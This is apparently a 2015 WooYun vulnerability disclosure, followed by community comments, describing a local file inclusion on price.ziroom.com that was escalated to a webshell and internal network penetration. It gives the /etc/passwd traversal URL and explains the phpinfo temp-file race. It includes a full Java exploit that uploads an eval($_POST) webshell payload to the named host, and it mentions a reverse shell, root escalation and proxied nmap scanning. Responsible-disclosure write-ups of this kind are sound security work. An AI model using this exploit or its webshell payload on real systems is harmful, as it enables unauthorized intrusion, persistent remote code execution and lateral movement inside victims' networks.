当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134185

漏洞标题:链家旗下自如某站一个有意思的文件包含到简单内网渗透(本地文件包含getshell技巧)

相关厂商:homelink.com.cn

漏洞作者: Chora

提交时间:2015-08-14 18:16

修复时间:2015-08-18 13:45

公开时间:2015-08-18 13:45

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-14: 细节已通知厂商并且等待厂商处理中
2015-08-14: 厂商已经确认,细节仅向厂商公开
2015-08-18: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

这个包含应该以前没有类似案例吧?

详细说明:

某日组里小伙伴丢来一个链接:
http://price.ziroom.com/?_p=../../../../../../../../etc/passwd%00.html
说存在本地文件包含,木有上传功能,可以截断怎么破?
拿到手第一感觉就是激动,早在很久以前一直就想要做这么一个实例,苦于没有找这样苛刻的环境,一直都没能如愿。
我们都知道在向服务器上任意php文件以form-data方式提交请求上传数据时,会生成临时文件,如果我们能直接包含临时文件就能执行我们任意的代码,但是有个前提是要知道临时文件的路径以及名称。
不得不佩服国外基佬的思路,他们发现可以通过phpinfo来获取临时文件的路径以及名称,我们有了路径跟名称就可以直接包含执行任意代码。
这里又有一个问题就是生成的临时文件会在极短的时间删除,所以我们要做的就是竞争!在删除之前包含它。
要做到竞争就必须在代码的执行效率上花功夫,用两个while循环来实现,第二个while来做核心的竞争,同时也要增加临时文件删除的时间,即提交大量的数据包,让缓存文件足够大,删除的时候时间就会相对花费的较多,竞争的概率就会更大。知道原理过后我用JAVA写了一个利用程序,为什么选择JAVA,因为JAVA的执行效率是仅次于C的。
利用条件:
1、 需要知道phpinfo路径;
2、 网站存在文件包含漏洞;
3、 Windows下有盘符之分,并不像Linux是基于根目录以树状的形式存在,所以Windows的利用条件比较苛刻,即存在远程包含可以指定盘符,或者tmp文件跟web目录在同一盘符下才可利用。
知道原理过后直接用写好的利用程序来测试

1.png


提示没有权限,那应该就是根目录没权限写了,扫了下目录发现有个cache目录,根据经验应该能写入。

2.png


成功写入得到webshell

3.png


内网渗透就是体力活了,由于网段里面装有ids、防火墙等设备,大大加长了渗透的时间。
端口应该是在设备上做了统一的策略,也不能用reGeorg、Tunna、reDuh等常用的内网渗透利器,metasploit时不时还会掉,看来只能掏出神器sSocks,在有限制的情况下建议用sSocks很不错。
反弹个SHELL,内核提权到ROOT,安装好sSocks,发现没有像metasploit一样一扫描就掉线。

1.png


2.png


3.png

4.png


虽然本机的路由表是172.16.5.0/24,但是我通过搜索以前该公司爆过的漏洞发现其他网段也能访问,大致确定范围为172.165.0.0/21内的都可以访问。通过proxychains的升级版proxychains4结合nmap探测内网,虽然没有metasploit方便,但是这个环境确实也只有这个方法了。

5.png


内网渗透就比较简单了,时间有限就不详细叙述了,只做证明不深入。

6.png


7.png

8.png


package com.ms509;
import java.io.InputStream;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.net.URL;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class PhpLfi {
/**
* @author Chora[ms509]
* @param string webshell 想要生成webshell的路径
* @param string host 主机地址
* @param string include 存在文件包含漏洞的路径
* @param string phpinfo phpinfo页面的地址
* @param int port 主机端口
* @param int paddingnum 填充大小
*/
public static void main(String[] args) throws Exception
{
// TODO Auto-generated method stub
String webshell = "/cache/wy.php";
String host = "price.ziroom.com";
String include = "http://price.ziroom.com/?_p=../../../../../../../..{include}%00.html";
String phpinfo = "/phpinfo.php";
int port = 80;
int paddingnum = 8000;
String padding = "";String phptmp;String url;String tmp;
for(int i=0;i<paddingnum;i++)
{
padding = padding + "A";
}
InetAddress inethost = InetAddress.getByName(host);
StringBuffer sb = new StringBuffer();
StringBuffer sb2 = new StringBuffer();
sb2.append("-----------------------------7dbff1ded0714\r\n");
sb2.append("Content-Disposition: form-data; name=\"ms509\"; filename=\"wooyun.txt\"\r\n");
sb2.append("Content-Type: text/plain\r\n");
sb2.append("\r\n");
sb2.append("<?php file_put_contents('."+webshell+"','<?php eval($_POST[ms509]);?>') ? print('ms509_true') : print('ms509_false') ?>");
sb2.append("\r\n");
sb2.append("-----------------------------7dbff1ded0714");
sb.append("POST "+phpinfo+"?a="+padding+" HTTP/1.1\r\n");
sb.append("Cookie: PHPSESSID=f90b76b7840c05076ca235b05f1c4564; ms509cookie="+padding+"\r\n");
sb.append("Accept: "+padding+"\r\n");
sb.append("User-agent: "+padding+"\r\n");
sb.append("Accept-Language: "+padding+"\r\n");
sb.append("Pragma: "+padding+"\r\n");
sb.append("Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r\n");
sb.append("Content-Length: "+String.valueOf(sb2.length())+"\r\n");
sb.append("Host: "+host+"\r\n\r\n");
sb.append(sb2);
String sbs = sb.toString();
//System.out.println(sb.toString());
while(true)
{
Socket socket = new Socket(inethost,port);
PrintWriter out = new PrintWriter(socket.getOutputStream());
out.write(sbs);
out.flush();
String data="";
while(data.indexOf("</body></html>")<0)
{
data = PhpLfi.getData(socket.getInputStream());
phptmp = PhpLfi.getPhptmp(data);
if(phptmp!=null)
{
url = include.replaceFirst("\\{include}", phptmp);
tmp = PhpLfi.doGet(url);
System.out.println(url);
if(tmp.indexOf("ms509_true")>-1)
{
System.out.println("webshell is up!\r\nwebshell is http://"+host+":"+port+webshell);
System.exit(0);
}else if(tmp.indexOf("ms509_false")>-1)
{
System.out.println("webshell up error!\r\nreason:\r\n"+tmp);
System.exit(0);
}
System.out.println(tmp);
}
}
socket.close();
}
}
public static String getData(InputStream is) throws Exception
{
int byteAva = is.available();String data = "";
if(byteAva>0)
{
byte[] tmp2 = new byte[byteAva];
is.read(tmp2);
data = new String(tmp2);
}
return data;
}
public static String getPhptmp(String data)
{
String tmp = null;
Matcher m = Pattern.compile("\\[tmp_name] =&gt;\\s(.*?)\\s").matcher(data);
if(m.find())
{
tmp = m.group(1);
}
return tmp;
}
public static String doGet(String url)
{
String data = "";
try {
URL u = new URL(url);
InputStream in = u.openStream();
Scanner scanner = new Scanner(in);
while(scanner.hasNextLine()) {
data += scanner.nextLine()+"\r\n";
}
} catch (Exception e) {
// TODO Auto-generated catch block
data = "error";
}
return data;
}
}


漏洞证明:

如图

修复方案:

打酱油

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-14 18:23

厂商回复:

确认,谢谢对链家安全的关注

最新状态:

2015-08-18:已经修复。


漏洞评价:

评论

  1. 2015-08-14 18:18 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    大神来了吖,之前有人提交过,但你的扩展好精彩

  2. 2015-08-14 18:20 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    q前排看大神!!

  3. 2015-08-14 18:23 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    前排围观学习

  4. 2015-08-14 18:25 | 北京链家房地产经纪有限公司(乌云厂商)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  5. 2015-08-14 18:25 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  6. 2015-08-14 18:27 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  7. 2015-08-14 18:29 | 土夫子 ( 普通白帽子 | Rank:173 漏洞数:41 | 逆流而上,顺势而为)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  8. 2015-08-14 18:38 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  9. 2015-08-14 18:38 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    又不提前公开

  10. 2015-08-14 18:38 | Submit ( 普通白帽子 | Rank:338 漏洞数:80 )

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  11. 2015-08-14 18:46 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  12. 2015-08-14 18:47 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  13. 2015-08-14 18:48 | MAX丶 ( 路人 | Rank:3 漏洞数:4 | 人生路上总有一些不顺心的事情,让我们跳过...)

    不知道案例写的清不清出好学习

  14. 2015-08-14 19:06 | 小荷才露尖尖角 ( 实习白帽子 | Rank:91 漏洞数:13 | less is more)

    顶大牛!恭喜90乌币到手

  15. 2015-08-14 19:18 | PgHook ( 普通白帽子 | Rank:964 漏洞数:115 | ...........................................)

    牛逼啊!!

  16. 2015-08-14 19:27 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了!>_<'/&\)

    这是一个看脸的洞,洞主一定是因为长得帅所以padding成功

  17. 2015-08-14 19:34 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    这是一个看脸的洞,洞主一定是因为长得帅所以padding成功

  18. 2015-08-14 19:37 | 小荷才露尖尖角 ( 实习白帽子 | Rank:91 漏洞数:13 | less is more)

    这是一个看脸的洞,洞主一定是因为长得帅所以race成功

  19. 2015-08-14 20:32 | 咚咚呛 ( 普通白帽子 | Rank:116 漏洞数:10 | 我是一只小毛驴咿呀咿呀呦~~)

    让你们说的你们都能看到似的。。。。

  20. 2015-08-14 20:38 | 随随意意 ( 普通白帽子 | Rank:160 漏洞数:35 | 我对XSS并非真爱(┬_┬)最近有人冒充该...)

    雀儿哥牛逼

  21. 2015-08-14 20:41 | prolog ( 普通白帽子 | Rank:544 漏洞数:107 | 低调求发展)

    让你们说的你们都能看到似的。。。。

  22. 2015-08-14 21:50 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨,淡看江湖路...)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  23. 2015-08-14 22:03 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人,在乌云学技术,去某数...)

    你关注的白帽子 Chora 发表了漏洞 一个有意思的文件包含到简单内网渗透

  24. 2015-08-14 22:22 | 大师兄 ( 路人 | Rank:6 漏洞数:3 | 每日必关注乌云)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  25. 2015-08-14 22:52 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @Chora 你好帅啊!

  26. 2015-08-14 23:26 | Cyrils ( 实习白帽子 | Rank:45 漏洞数:10 | the more the better)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  27. 2015-08-15 00:19 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    padding不成功的,可能只是你们的姿势有问题。

  28. 2015-08-15 00:30 | 927 ( 实习白帽子 | Rank:44 漏洞数:12 | 我也要当厨师)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  29. 2015-08-15 08:26 | 路人毛 ( 路人 | Rank:23 漏洞数:10 | 昨晚做梦,挖到了电信都漏洞,被电信起诉了...)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  30. 2015-08-15 08:59 | m_vptr ( 普通白帽子 | Rank:133 漏洞数:30 | 新手)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  31. 2015-08-15 11:28 | PythonPig ( 普通白帽子 | Rank:491 漏洞数:71 | 只会简单工具的小小菜)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞大牛,我要给你生猴子

  32. 2015-08-15 11:36 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    ./././截断?

  33. 2015-08-15 14:40 | ganggang ( 路人 | Rank:4 漏洞数:2 | 这个号是来乌云聊天的....)

    【求职】:每日膜拜大牛,请问诸位家中或者团队或者公司是否缺少清洁人员?本人自小学被老师罚打扫卫生到如今,一手扫地技术早已炉火纯青,秒杀乌云所有白帽大神,如有需要请联系我,薪金分文不取,只要包吃包吃包学技术。当然,如果你认为小弟能力仅仅局限于清洁,那就大错特错了,其实小弟还可以洗衣洗内裤,做饭叫外卖,端茶倒水陪吃陪玩均不在话下,本人特长相信对您也具备一定的价值,首先,某个部位特别长是必须的,其次文采飞扬,代写情书代聊天,约炮手到妹来,我约你泡,何乐而不为?其次擅长各种维修,上至高压强电,下至低压弱电,汽车修理电脑维修均有涉猎,出门当司机在家当保姆,可胜任大部分岗位,心灵手巧颜值高,身强体壮人品好,这样的人才你不缺吗?如有需要,一定要尽快联系我,辞职信已写来,铺盖已卷好,收拾好了行李,就差一张开往您所在地的火车票...... 打了这么对字挺累的,最后说一句,乌云不是搞笑论坛,我是认真的,为了学习也是蛮拼的,来个大牛收了我吧,联系方式:私信。

  34. 2015-08-15 15:05 | LittleMelody ( 路人 | Rank:6 漏洞数:2 | 刚刚入门的小白帽子)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  35. 2015-08-15 15:36 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  36. 2015-08-15 15:43 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了!>_<'/&\)

    @sin 汗,padding不成功就是因为没有碰撞到临时文件名,纯因为脸的问题,不是姿势好么

  37. 2015-08-16 00:30 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    @redrain有节操 垃圾vps,6次碰撞成功。网上的脚本,改的地方还是有几处的.

  38. 2015-08-16 03:57 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了!>_<'/&\)

    @sin 你开心就好,厉害,学习了

  39. 2015-08-16 13:08 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    @redrain有节操 我也很无辜额。。。只在小圈子里,讨论包含的技术时,以自如的站做了个案例。结果尼玛没过多久就被提交到乌云了。。。

  40. 2015-08-17 22:17 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了!>_<'/&\)

    @sin 没听懂你在说啥,不明觉厉

  41. 2015-08-17 22:31 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    嘲讽丢的不错,,,

  42. 2015-08-18 13:47 | Huc-Unis ( 普通白帽子 | Rank:1055 漏洞数:292 | 诶,现在通用奖励越来越低了;离买保时捷卡...)

    @北京链家房地产经纪有限公司 已修复?任意文件为什么我还能读取?

  43. 2015-08-18 14:04 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    冒昧的问下,漏洞中的,2.6.18-194 如何提权啊,求exp

  44. 2015-08-18 14:56 | linger118927 ( 路人 | Rank:8 漏洞数:1 | 想换工作,渗透方向 QQ:1018106997)

    哥们求组 号 求加

  45. 2015-08-18 14:58 | c4bbage ( 路人 | Rank:15 漏洞数:7 | var_dump($me);)

    这场景遇到真是好。补2011年文档 http://seclists.org/pen-test/2011/Sep/5

  46. 2015-08-18 15:02 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    请收下这个月的膝盖

  47. 2015-08-18 17:26 | 陆由乙 ( 普通白帽子 | Rank:119 漏洞数:38 | 呵呵!)

    @浩天 求审核,http://www.wooyun.org/bugs/wooyun-2015-0134097/trace/d576898c26662901fe7d53ffede9010chttp://www.wooyun.org/bugs/wooyun-2015-0134867/trace/195dd131ceb383dd0555211e53b594b7

  48. 2015-08-18 18:48 | her0ma ( 核心白帽子 | Rank:598 漏洞数:84 | 专注小厂商三十年!)

    请收下这个月的膝盖

  49. 2015-08-18 20:31 | 海盗湾V ( 实习白帽子 | Rank:58 漏洞数:9 | Your entire life is online)

    请收下这个月的膝盖

  50. 2015-08-18 22:18 | 金枪银矛小霸王 ( 普通白帽子 | Rank:103 漏洞数:25 | 不会挖洞洞的猿猿不是好学生)

    po主解答,kali下有proxychains4?

  51. 2015-08-19 10:13 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    那个padding是啥意思啊?

  52. 2015-08-20 11:03 | 大饭刚 ( 实习白帽子 | Rank:49 漏洞数:10 | 吃饭,喝酒,挖洞洞)

    厉害

  53. 2015-08-20 20:40 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    这是我目前看到的链家的漏洞细节写的最清楚的一个。赞

  54. 2015-08-27 17:18 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    index.php?m=php://filter/convert.base64-encode/resource=index有那么复杂 这种不行?

  55. 2015-08-27 17:21 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    access_log也不行?

  56. 2015-09-15 16:07 | sOnsec ( 实习白帽子 | Rank:93 漏洞数:24 | 安全是什么...)

    @胡小树 有公开的exp啊

  57. 2015-09-20 01:55 | niexinming ( 路人 | Rank:8 漏洞数:2 | 好好学习,天天日站)

    make

  58. 2015-09-22 21:39 | 桃花侠 ( 路人 | Rank:2 漏洞数:1 | 啦啦啦啦~)

    不明觉厉!